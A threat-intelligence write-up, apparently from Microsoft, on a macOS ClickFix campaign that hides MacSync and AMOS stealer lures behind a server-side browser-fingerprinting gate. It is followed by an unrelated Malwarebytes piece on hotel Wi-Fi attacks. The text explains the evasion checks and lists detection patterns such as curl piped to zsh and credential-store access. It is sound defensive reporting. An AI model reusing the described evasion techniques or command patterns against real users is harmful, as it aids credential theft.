Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
secueragent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
shiledagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
syracusefertilitycenter [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
vastbets [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
wvaeagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
References
References used for external context and related defensive guidance:
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS), through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity.
Activity overview
Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS).
This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented, in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation.
In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise.
How ClickFix works
ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications.
In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command.
Figure 1a – The counterfeit “Download for macOS” page served to a qualifying visitor by a cloaked gate (apricotfilepoint[.]com). The page displays a forged “Verified Publisher” badge and offers a one-click Copy of an obfuscated curl one-liner.
Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page.
In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure 1b) or a page impersonating an unrelated business such as a logistics and freight-forwarding company rather than the ClickFix lure. Because this decision is made server-side on a per-request basis, a given scan or visit may receive benign or decoy content and still be interacting with malicious infrastructure, so an apparently benign or look-alike response does not mean the domain is safe. We examine how the gate evaluates each request later in this post.
Figure 1b – A decoy page (a fake “Urban VPN Proxy” browser extension landing page) returned to non qualifying requests on the same domain (apricotfilepoint[.]com).
Campaign overview
The key change in this campaign is not the ClickFix lure itself, but the new layer placed in front of it. Microsoft Threat Intelligence confirmed more than 250 ClickFix front-end domains during the tracking window, and many followed a repeated naming pattern using the token “file” with dictionary-style words, such as filecopperbasket, filevelvettractor, fileoceanhammer, and filemarblegarden.
Some related domains place “file” token in the middle or at the end, such as applefilevault, bananafastfile, and orangesmartfile, while others omit it completely, such as cloudsendhub and syncdatavault. Defenders should treat the naming pattern as a hunting pivot, not a complete signature. The stronger signal is the combination of dictionary-style domains, shared infrastructure behaviour, and the fingerprinting gate that controls who sees the ClickFix lure. This naming pattern is useful for clustering and hunting, but it is not the main story. The more important behaviour is that these domains now serve a browser-fingerprinting gate before showing any malicious content.
ClickFix moved from open pages to fingerprinting gates
In its earlier phase, the campaign’s domains served the lure directly. Retrieving one returned a “complete your download in Terminal” page with the malicious command present in the HTML. A scanner that does not execute JavaScript could recover the entire attack from the page source, including: the macOS paste-to-Terminal instructions, clipboard-write logic, obfuscated shell command, and encoded staging URL. Because the command was embedded in the served page, the domains were readily identifiable from passive data and static content matching.
The same infrastructure that previously exposed its ClickFix lure directly to visitors has evolved to employ a server-side fingerprinting gate. Rather than immediately presenting the malicious content, affected domains now return a minimal page containing only a lightweight JavaScript profiling routine(~2.5 KB size). To both casual visitors and automated scanners, the site may appear blank, inactive, or apparently benign. In reality, the page serves as an evaluation layer that determines whether a visitor should be shown the ClickFix lure.
Across Microsoft Threat Intelligence’s investigation of this domain cluster, the outcomes were consistent. Simple crawlers received an empty, parked-looking page. JS-capable crawlers and sandbox environments that failed fingerprinting checks were served apparently benign decoy page, and requests presenting a genuine macOS browser fingerprint were shown the ClickFix lure.
Figure 2 – Earlier open-lure delivery compared with the current fingerprinting-gated delivery flow.
The fingerprinting gate
The gate profiles each visitor using a combination of browser, hardware, and runtime attributes, which are submitted to the server for evaluation. The following sections break down the categories of signals collected.
Browser profiling and environment collection
The first stage builds a browser fingerprint by collecting browser and page details from six objects exposed to the page: navigator, screen, window, document, location, and console. From navigator, it captures values such as platform, for example, “MacIntel”, user agent, language, vendor, and plugins, which establish the visitor’s claimed device and browser identity.
Display values from screen and window, including screen size, color depth, window dimensions, and pixel ratio, provide consistency signals for whether that identity is consistent with a real, non‑virtualized Mac environment. Page context from document and location, including title, referrer, character set, URL, and host, helps tie the fingerprint to the delivery context. The console object is also enumerated as part of the runtime surface and later helps identify developer tools or automated log-capturing environments. These values are merged into a single fingerprint object tagged with mode: “php” and later submitted back to the server for evaluation.
Figure 3a – The gate collects browser, system, and environment characteristics from multiple browser objects to build a visitor fingerprint.
Hardware validation
The gate then performs additional validation to determine whether the visitor resembles a genuine macOS user. One notable check uses WebGL, a browser graphics API normally used to render 2D and 3D content, to retrieve graphics-processing details from the visitor’s device. In this campaign, those WebGL-derived GPU signals help distinguish real Apple hardware from virtualized, emulated, software-rendered, or sandboxed environments before the server decides whether to return the ClickFix lure.
Figure 3b – WebGL-derived GPU signals can help distinguish likely Apple hardware from virtualized, emulated, software-rendered, or sandboxed environments.
Environment and behavioral checks
Additional probes evaluate characteristics such as timezone configuration, touch-input support, and whether the page is running inside an embedded frame. These signals help identify uncommon execution contexts that may indicate automated analysis or monitoring infrastructure.
The script records three signals:
timezoneOffset reads the system’s local timezone offset. Unusual or inconsistent values can contribute to identifying hosted infrastructure, sandbox environments, or otherwise atypical execution context.
frame checks whether the page is running inside an iframe. While common in legitimate scenarios, embedded execution contexts can also be associated with crawlers, analysis tools, and other automated environments, making this a useful qualification signal.
touchEvent checks for touch-input support. On desktop macOS systems, touch support is generally uncommon; unexpected touch capabilities can contribute to identifying an emulated, spoofed, or otherwise atypical environment.
Together, these checks help the gate distinguish a normal macOS desktop browser session from framed, headless, mobile, sandboxed, or automated environments before the server decides what content to return.
Figure 3c – Additional checks evaluate environmental attributes that can help differentiate legitimate users from automated systems.
Anti-analysis techniques
The gate also incorporates checks designed to detect browser instrumentation, automation frameworks, and modified browser behavior. Rather than simply determining whether a visitor is a bot, these probes appear intended to identify environments commonly used by researchers, crawlers, and security-analysis platforms. The implementation details described here are intended to help defenders recognize and detect gate behavior in malicious traffic-distribution infrastructure.
Figure 3d – The gate performs checks intended to identify browser instrumentation and automated analysis environments.
Two checks stand out. The first is a toString() counter. The script creates a temporary function whose toString() method increases a counter, then writes that function to the console. In a normal browser, this counter usually remains unchanged. However, if the developer console is open, or if a headless or log-capturing tool serializes console output, the function may be converted to a string, causing the counter to increase.
The second is a prototype-tamper probe built around a normal browser capability check. The gate calls canPlayType(“video/mp4”), which normally checks whether the browser supports MP4 playback. Here, that check is repurposed as a tripwire. A genuine browser handles the codec check natively and silently, but some automated or stealth browsers fake codec support in JavaScript. If that JavaScript path calls the hooked Array.prototype.includes, the gate sets the proto:true signal and flags the environment as potentially instrumented or automated.
Fingerprint submission
Once profiling is complete, the collected attributes are packaged and silently submitted back to the same server for evaluation. This process occurs without any user interaction or visible page content.
Figure 3e – Collected fingerprint data is submitted to the server, which determines whether the visitor qualifies to receive the ClickFix lure.
The following is the sample fingerprint the client sends to the server (values are representative and defanged):
Server-side victim selection
With the fingerprinting logic in place, the malicious content is no longer present in the initial page shown to the visitor. Instead, the server withholds the ClickFix lure until it receives and evaluates the submitted fingerprint, then returns one of two responses:
A bot, crawler, sandbox, virtual machine, unexpected geography, or unexpected browser receives a blank page, a benign decoy, or no content.
A genuine Mac and browser in an expected context receive the ClickFix lure: the counterfeit “Verified Publisher / Download for macOS” page and its poisoned one-liner. The targeting is primarily environment-based: genuine macOS users in an expected browser and request context receive the ClickFix lure.
This is a Traffic Distribution System (TDS) gate. We call it a TDS because the payload is delivered by server-side, on demand, only to visitors the operator selects security crawlers, researchers, and sandboxes are served no malicious content. This gating can make automated detection and analysis more difficult because those tools may see only an apparently benign response even though the infrastructure can deliver the ClickFix lure to selected macOS visitors.
Figure 4 – Server-side fingerprint evaluation and possible responses for selected and non-selected visitors.
Inside the infection chain: from gated lure to AMOS
The individual techniques used by the gate are not inherently malicious or novel. Browser fingerprinting, hardware validation checks, and Traffic Distribution System (TDS)-style visitor filtering are common in anti-abuse systems and have previously appeared in exploit-kit and malvertising ecosystems. What distinguishes this activity is how these techniques are integrated into a ClickFix campaign. Rather than immediately presenting a malicious command, the actor performs server-side victim qualification before revealing the lure, reducing visibility to researchers and automated security systems while maintaining access to intended macOS targets.
Using a qualified macOS target, we analyzed the complete infection chain. The activity began on a file<word><word>[.]com domain hosting the fingerprinting gate, which returned the counterfeit Download for macOS page (Figure 1a). A non-qualifying request received little or no visible content. The page uses GitHub-themed branding to mimic a legitimate software download experience; the branding is spoofed and does not indicate any compromise of GitHub.
When the victim runs the Terminal command, the campaign retrieves and executes a remote script from a /curl/<id> URL. The chain then progresses through multiple script stages before ultimately downloading and launching Atomic Stealer (AMOS), an information stealer that harvests credentials, browser and cryptocurrency wallet data, authentication stores, and other sensitive files before exfiltrating them. We detailed AMOS delivery across multiple macOS ClickFix lures in earlier research.
Because delivery is restricted to qualified visitors, the fingerprinting gate is often a more reliable hunting target than the downstream malware. Systems that inspect page content without executing client-side JavaScript can observe the gate logic directly, while environments that fail qualification are redirected to apparently benign or no content. Because these characteristics also appear in legitimate anti-bot implementations, evaluate combinations rather than single indicators. Useful signals include self-submitting fingerprinting forms, hidden fingerprint data fields, artifacts such as the mode:”php” parameter, and domains following the observed file naming convention; correlating several of these improves confidence and reduces false positives.
Mitigation and protection guidance
Organizations can apply the following recommendations to reduce exposure to this and similar macOS ClickFix campaigns:
Educate users. Reinforce that no legitimate download, CAPTCHA, or verification step requires pasting a command into Terminal.
Monitor Terminal usage. Alert on Terminal or shell sessions that spawn curl, base64, gunzip, or osascript, particularly when initiated shortly after web browsing.
Detect native-tool abuse. Flag unusual sequences of macOS utilities such as curl piped to zsh, base64 -d, and xattr -c immediately preceding chmod +x.
Inspect outbound downloads. Monitor curl activity that retrieves encoded or compressed payloads from newly registered or low-reputation domains, including /curl/<hex-id> request paths.
Protect credential stores. Detect unauthorized access to keychain items, browser credential databases, SSH keys, and cryptocurrency wallet data.
Monitor data staging. Alert on the creation of archives of sensitive artifacts followed by HTTP POST exfiltration.
Block on infrastructure, not just front-end domains. Where validated, prioritize blocking known shared back end and staging hosts (for example, malware-c2 and the /curl/<id> staging hosts) over individual disposable front-end domains.
Hunt the generation pattern. Where feasible, alert the file<word><word> domain pattern rather than maintaining a list of individual domains.
On macOS 26.4 and later, Apple introduced a mitigation that displays a warning when a user attempts to paste a potentially malicious command into Terminal, directly addressing the ClickFix delivery mechanism.
When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:
Possible malware, Paste blocked
Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.
Microsoft Defender XDR detections
Tactic
Observed activity
Microsoft Defender coverage
Initial Access
Malicious webpage
Microsoft Defender for SmartScreen SmartScreen Detection Blocks webpage (Figure 5)
Execution
User copies, pastes, and runs encoded instructions. The instructions are decoded, executable files are created from remote attacker infrastructure, and the malware implant is executed.
Microsoft Defender for Endpoint – Behavior:MacOS/SuspAmosExecution – Malicious file execution – Behavior:MacOS/SuspOsascriptExec – Malicious osascript execution – Behavior:MacOS/SuspDownloadFileExec – Behavior:MacOS/SuspInfoExfil – Behavior:MacOS/SuspiciousActiviyGen.AE – Suspicious file download and execution
Microsoft Defender SmartScreen displays a warning message to Microsoft Edge users when they visit a ClickFix landing page:
Figure 5. Microsoft Defender SmartScreen flagging a ClickFix webpage.
Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:
Incident investigation
Microsoft User analysis
Threat actor profile
Threat Intelligence 360 report based on MDTI article
Vulnerability impact assessment
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.
Advanced hunting
The following query is an illustrative starting point. Validate table/column names and adjust the time range and indicators for your environment before running.
Known-IOC network sweep (mirrors a standard IOC hunt; populate from the IOC table and refresh as domains rotate)
let lookback = 30d;
let SuspiciousDomains =
dynamic(["lemonfilewave.com","limefilescope.com","mangocloudfile.com"]);
DeviceNetworkEvents
| where Timestamp >ago(lookback)
| where RemoteUrl has_any (SuspiciousDomains)
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Microsoft has warned that hotel, conference, and other hospitality Wi-Fi networks are being actively abused by a Russian group to target travelers worldwide. The campaign, dubbed “CaptiveCrunch” turns a routine Wi-Fi login moment into an opportunity to compromise corporate accounts and devices.
From the user’s perspective, nothing looks out of the ordinary: they connect to hotel Wi-Fi, get the usual captive portal prompt, and perhaps see a familiar‑looking message about needing to update something before they can browse. However, behind the scenes, the allegedly state-linked group position themselves in the network path and manipulate DNS (Domain Name System) and HTTP traffic from captive‑portal Wi-Fi.
From there, several things can happen:
Logins are stolen: The user’s browser session is redirected to attacker‑controlled phishing pages, like fake Microsoft login prompts, where credentials, device codes, or OAuth tokens are harvested.
Malware is downloaded: The user is presented with fake update or ClickFix dialogs that download malware. In these cases, usually a remote access trojan (RAT) plus an infostealer.
A machine-in-the-middle attack (MitM) where traffic is quietly proxied through attacker infrastructure, putting the user in a position for further credential theft.
Reportedly, one of the main malware strains used in these attacks is called CornFlake, a remote access trojan (RAT) that can capture webcam images, microphone audio, and keystrokes.
The infostealer was identified as ChocoShell, a fileless Powershell-based information stealer which primarily goes after browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems.
Microsoft lists a set of fake dialogs that may appear once you connect to compromised Wi‑Fi:
winupdate: A bogus Windows Update window with “Working on updates… Don’t turn off your computer.”
defender: A fake Windows Security virus scan.
directx: “DirectX End‑User Runtime Web Installer.”
vcredist: A Microsoft Visual C++ redistributable installer.
sysopt: A disk optimization utility.
netfix: A Windows Network Diagnostics ‘fix’ tool.
browser: A browser update prompt.
pdfview: A document/PDF viewer installer.
How to stay safe
Malwarebytes has long warned about the safety of public Wi-Fi. Here’s how you can stay safe while traveling:
Use your own phone’s hotspot instead of using the public Wi‑Fi. A mobile connection, especially with an eSIM and a reputable carrier, significantly reduces the likelihood of an attack compared to an unknown hotel network.
If you’re forced to use public Wi‑Fi, use a VPN with an active Kill Switch: Complete the authentication on the hotel portal first, then launch your VPN before opening any website or app. The Kill Switch feature will instantly block all internet traffic if the VPN disconnects even for a second, preventing cybercriminals from injecting malicious code out in the open. While CaptiveCrunch operates around captive portals and pre‑VPN flows, a VPN still reduces other risks and limits passive data collection once you’re online.
Always inspect the certificate of any public Wi‑Fi login or ‘security’ portal that asks for more than a room number or basic credentials. These aren’t always a straight‑up giveaway, but sometimes they can be an obvious clue: mismatched hostnames, untrusted issuers, or plain HTTP are red flags that should stop you from proceeding.
Many captive portals ask for an email address for registration or marketing. Even in benign cases, there is little value in handing over your real inbox. If you must provide an address, consider giving a fake one or a throwaway alias that is unrelated to your primary accounts.
If you are asked to download software, a certificate, a browser update, or a fix tool in order to connect, stop. You should never have to download anything just to log into Wi‑Fi.
Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Be cautious of pages urging immediate action: sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Avoid entering Microsoft 365, Google Workspace, or other high‑value credentials directly into any page reached via captive portal redirection. If you need to check corporate mail, follow known URLs rather than clicking through prompts.
And last but not least, update your browser, operating systems, and other important software before you travel. That reduces the chance of getting legitimate update requests while you’re away.
From reporting threats to removing them.
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Entrar
![Malwarebytes blocks third-party[.] com](https://www.malwarebytes.com/wp-content/uploads/sites/2/2026/09/third-partycomblock.png)
